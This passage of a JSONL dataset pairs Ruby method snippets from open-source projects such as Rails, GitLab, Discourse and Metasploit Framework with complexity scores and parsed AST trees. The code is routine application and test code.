end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_one_level_with_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xml\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"David\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"street\"]},{\"type\":\"str\",\"children\":[\"Paulina\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"age\"]},{\"type\":\"int\",\"children\":[26]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"age_in_millis\"]},{\"type\":\"int\",\"children\":[820497600000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"moved_on\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[11]},{\"type\":\"int\",\"children\":[15]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resident\"]},{\"type\":\"sym\",\"children\":[\"yes\"]}]}]},\"to_xml\",{\"type\":\"ivar\",\"children\":[\"@xml_options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<person>\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"first\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"xml\"]},{\"type\":\"str\",\"children\":[\"<street>Paulina</street>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"xml\"]},{\"type\":\"str\",\"children\":[\"<name>David</name>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"xml\"]},{\"type\":\"str\",\"children\":[\"<age type=\\\"integer\\\">26</age>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"xml\"]},{\"type\":\"str\",\"children\":[\"<age-in-millis type=\\\"integer\\\">820497600000</age-in-millis>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"xml\"]},{\"type\":\"str\",\"children\":[\"<moved-on type=\\\"date\\\">2005-11-15</moved-on>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"xml\"]},{\"type\":\"str\",\"children\":[\"<resident type=\\\"symbol\\\">yes</resident>\"]}]}]}]}","id":"760c9a4d-1a80-4d9b-b8f2-c9633a9b7e42"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/registered_bookmarkable.rb","start_line":63,"raw_source":"def perform_preload(bookmarks, guardian)\n    bookmarks_of_type = Bookmark.select_type(bookmarks, bookmarkable_klass.model.to_s)\n    return if bookmarks_of_type.empty?\n\n    if bookmarkable_klass.has_preloads?\n      ActiveRecord::Associations::Preloader.new(\n        records: bookmarks_of_type,\n        associations: [bookmarkable: bookmarkable_klass.preload_associations],\n      ).call\n    end\n\n    bookmarkable_klass.perform_custom_preload!(bookmarks_of_type, guardian)\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_preload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bookmarks\"]},{\"type\":\"arg\",\"children\":[\"guardian\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bookmarks_of_type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bookmark\"]},\"select_type\",{\"type\":\"lvar\",\"children\":[\"bookmarks\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bookmarkable_klass\"]},\"model\"]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmarks_of_type\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bookmarkable_klass\"]},\"has_preloads?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Preloader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"records\"]},{\"type\":\"lvar\",\"children\":[\"bookmarks_of_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associations\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bookmarkable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bookmarkable_klass\"]},\"preload_associations\"]}]}]}]}]}]}]},\"call\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bookmarkable_klass\"]},\"perform_custom_preload!\",{\"type\":\"lvar\",\"children\":[\"bookmarks_of_type\"]},{\"type\":\"lvar\",\"children\":[\"guardian\"]}]}]}]}","id":"80266daa-9074-49be-ad73-eb32e004130b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/context_commits_diff.rb","start_line":47,"raw_source":"def compare\n    @compare ||=\n      Gitlab::Git::Compare.new(\n        merge_request.project.repository.raw_repository,\n        commits.last&.diff_refs&.base_sha,\n        commits.first&.diff_refs&.head_sha\n      )\n  end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"compare\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@compare\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Compare\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"project\"]},\"repository\"]},\"raw_repository\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commits\"]},\"last\"]},\"diff_refs\"]},\"base_sha\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commits\"]},\"first\"]},\"diff_refs\"]},\"head_sha\"]}]}]}]}","id":"23a98466-4943-4b46-a1ed-6e8943f47bbb"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/projects/settings/versions/wiki_widget_component.rb","start_line":37,"raw_source":"def title\n          version.wiki_page_title.presence || I18n.t(:label_wiki_page)\n        end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]},\"wiki_page_title\"]},\"presence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_wiki_page\"]}]}]}]}","id":"bd6bb10e-ab7b-4744-a578-20cffdc93abe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_config/cli_methods.rb","start_line":24,"raw_source":"def worker_metadatas(rails_path = Rails.root.to_s)\n        @worker_metadatas ||= {}\n\n        @worker_metadatas[rails_path] ||= QUEUE_CONFIG_PATHS.flat_map do |path|\n          full_path = File.join(rails_path, path)\n\n          File.exist?(full_path) ? YAML.load_file(full_path) : []\n        end\n      end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"worker_metadatas\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"rails_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"to_s\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@worker_metadatas\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker_metadatas\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"rails_path\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QUEUE_CONFIG_PATHS\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"full_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"rails_path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"full_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"lvar\",\"children\":[\"full_path\"]}]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}","id":"df30b6f7-0a16-4339-82f6-023e1f02b4d9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/fixtures/development/03_project.rb","start_line":93,"raw_source":"def self.insert_projects_sql(type:, range:)\n    <<~SQL\n          INSERT INTO projects (name, path, creator_id, organization_id, namespace_id, project_namespace_id, visibility_level, created_at, updated_at)\n          SELECT\n            n.name AS project_name,\n            n.path AS project_path,\n            n.owner_id AS creator_id,\n            n.organization_id AS organization_id,\n            n.parent_id AS namespace_id,\n            n.id AS project_namespace_id,\n            n.visibility_level AS visibility_level,\n            NOW() AS created_at,\n            NOW() AS updated_at\n          FROM namespaces n\n            WHERE type = 'Project' AND n.parent_id IN (\n              SELECT id FROM namespaces n1 WHERE type='#{type}'\n              AND path LIKE '#{Gitlab::Seeder::MASS_INSERT_PREFIX}%' AND n1.id BETWEEN #{range.first} AND #{range.last}\n            )\n          ON CONFLICT DO NOTHING;\n    SQL\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"insert_projects_sql\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"type\"]},{\"type\":\"kwarg\",\"children\":[\"range\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO projects (name, path, creator_id, organization_id, namespace_id, project_namespace_id, visibility_level, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"  n.name AS project_name,\\n\"]},{\"type\":\"str\",\"children\":[\"  n.path AS project_path,\\n\"]},{\"type\":\"str\",\"children\":[\"  n.owner_id AS creator_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  n.organization_id AS organization_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  n.parent_id AS namespace_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  n.id AS project_namespace_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  n.visibility_level AS visibility_level,\\n\"]},{\"type\":\"str\",\"children\":[\"  NOW() AS created_at,\\n\"]},{\"type\":\"str\",\"children\":[\"  NOW() AS updated_at\\n\"]},{\"type\":\"str\",\"children\":[\"FROM namespaces n\\n\"]},{\"type\":\"str\",\"children\":[\"  WHERE type = 'Project' AND n.parent_id IN (\\n\"]},{\"type\":\"str\",\"children\":[\"    SELECT id FROM namespaces n1 WHERE type='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]},{\"type\":\"str\",\"children\":[\"    AND path LIKE '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Seeder\"]},\"MASS_INSERT_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"%' AND n1.id BETWEEN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"first\"]}]},{\"type\":\"str\",\"children\":[\" AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"last\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  )\\n\"]},{\"type\":\"str\",\"children\":[\"ON CONFLICT DO NOTHING;\\n\"]}]}]}","id":"a4dabafd-f02a-4240-8c04-366f524251cc"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/context_builder.rb","start_line":472,"raw_source":"def process_when(exp, _parent)\n      increase_statement_count_by(exp.body)\n      process(exp)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_when\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]},{\"type\":\"arg\",\"children\":[\"_parent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"increase_statement_count_by\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]}]}","id":"f4a7f7e7-4363-403a-89e2-5fe9c8594488"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal.rb","start_line":130,"raw_source":"def self.controller_name\n      @controller_name ||= (name.demodulize.delete_suffix(\"Controller\").underscore unless anonymous?)\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"controller_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@controller_name\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"anonymous?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"demodulize\"]},\"delete_suffix\",{\"type\":\"str\",\"children\":[\"Controller\"]}]},\"underscore\"]}]}]}]}]}","id":"289c3c16-c780-42f4-92d4-599a5054b029"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/abstract_controller.rb","start_line":27,"raw_source":"def self.eager_load!\n    super\n    AbstractController::Caching.eager_load!\n    AbstractController::Base.descendants.each do |controller|\n      unless controller.abstract?\n        controller.eager_load!\n      end\n    end\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"eager_load!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AbstractController\"]},\"Caching\"]},\"eager_load!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AbstractController\"]},\"Base\"]},\"descendants\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"abstract?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"eager_load!\"]}]}]}]}]}","id":"8258db4a-26ad-48c6-ae50-71bd6ade06c5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/import/metasploit_framework/credential.rb","start_line":19,"raw_source":"def import_msf_cred_dump_zip(args = {})\n    wspace = Msf::Util::DBManager.process_opts_workspace(args, framework)\n    origin = Metasploit::Credential::Origin::Import.create!(filename: File.basename(args[:filename]))\n    importer = Metasploit::Credential::Importer::Zip.new(workspace: wspace, input: File.open(args[:filename]), origin: origin)\n    importer.import!\n    nil\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"import_msf_cred_dump_zip\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wspace\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"DBManager\"]},\"process_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"origin\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Credential\"]},\"Origin\"]},\"Import\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"importer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Credential\"]},\"Importer\"]},\"Zip\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin\"]},{\"type\":\"lvar\",\"children\":[\"origin\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"importer\"]},\"import!\"]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"97140a6a-68de-4ff2-9e06-23b8ca33c53a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/operator.rb","start_line":307,"raw_source":"def self.null_operators\n    [\"*\", \"!*\"].map(&:to_operator)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"null_operators\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"str\",\"children\":[\"!*\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_operator\"]}]}]}]}","id":"fa157df7-737d-4ec6-ac84-2ea407511de0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/settings/protected_branches.rb","start_line":45,"raw_source":"def protect_branch\n            click_element('protect-button', wait: QA::Support::Repeater::DEFAULT_MAX_WAIT_TIME)\n            wait_for_requests\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"protect_branch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"protect-button\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Support\"]},\"Repeater\"]},\"DEFAULT_MAX_WAIT_TIME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]}]}]}","id":"3057a59a-3771-4f00-bb56-adc54b374464"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":1514,"raw_source":"def condition(name = \"#{caller.first[/`.*'/]} condition\", &block)\n        @conditions << generate_method(name, &block)\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"condition\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"caller\"]},\"first\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"`.*'\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"str\",\"children\":[\" condition\"]}]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conditions\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"generate_method\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"8757ee3c-cc78-4c9c-946e-f145029bb0cf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/error_tracking/error.rb","start_line":88,"raw_source":"def to_sentry_detailed_error\n    Gitlab::ErrorTracking::DetailedError.new(\n      id: id,\n      title: title_truncated,\n      message: description,\n      culprit: actor,\n      first_seen: first_seen_at.to_s,\n      last_seen: last_seen_at.to_s,\n      count: events_count,\n      user_count: 0, # we don't support user count yet.\n      project_id: project.id,\n      status: status,\n      tags: { level: nil, logger: nil },\n      external_url: external_url,\n      external_base_url: external_base_url,\n      integrated: true,\n      first_release_version: first_event&.release,\n      last_release_version: last_event&.release\n    )\n  end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"to_sentry_detailed_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"DetailedError\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"title_truncated\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"culprit\"]},{\"type\":\"send\",\"children\":[null,\"actor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_seen\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_seen_at\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_seen\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_seen_at\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[null,\"events_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_count\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[null,\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logger\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_url\"]},{\"type\":\"send\",\"children\":[null,\"external_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_base_url\"]},{\"type\":\"send\",\"children\":[null,\"external_base_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"integrated\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_release_version\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_event\"]},\"release\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_release_version\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_event\"]},\"release\"]}]}]}]}]}","id":"e9552664-a182-4e25-b5d3-ff034073c639"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":649,"raw_source":"def test_counting_with_column_name_and_hash\n    assert_equal 3, Firm.first.plain_clients.count(:name)\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_counting_with_column_name_and_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"first\"]},\"plain_clients\"]},\"count\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}","id":"cfe42c5c-5d3b-46f8-8154-3473348fb02b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template/operations/configuration.rb","start_line":36,"raw_source":"def disconnect_all_devices\n    raise _(\"VM has no EMS, unable to disconnect all devices\") unless ext_management_system\n\n    raw_disconnect_all_devices\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"disconnect_all_devices\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"VM has no EMS, unable to disconnect all devices\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raw_disconnect_all_devices\"]}]}]}","id":"650da11f-102d-4121-b2eb-d890fd6c22d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/security/finding_key.rb","start_line":31,"raw_source":"def has_fingerprints?\n            location_fingerprint.present? && identifier_fingerprint.present?\n          end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"has_fingerprints?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"location_fingerprint\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identifier_fingerprint\"]},\"present?\"]}]}]}","id":"b9de5c99-dcb9-48e0-a0a1-9f1e907b6546"}
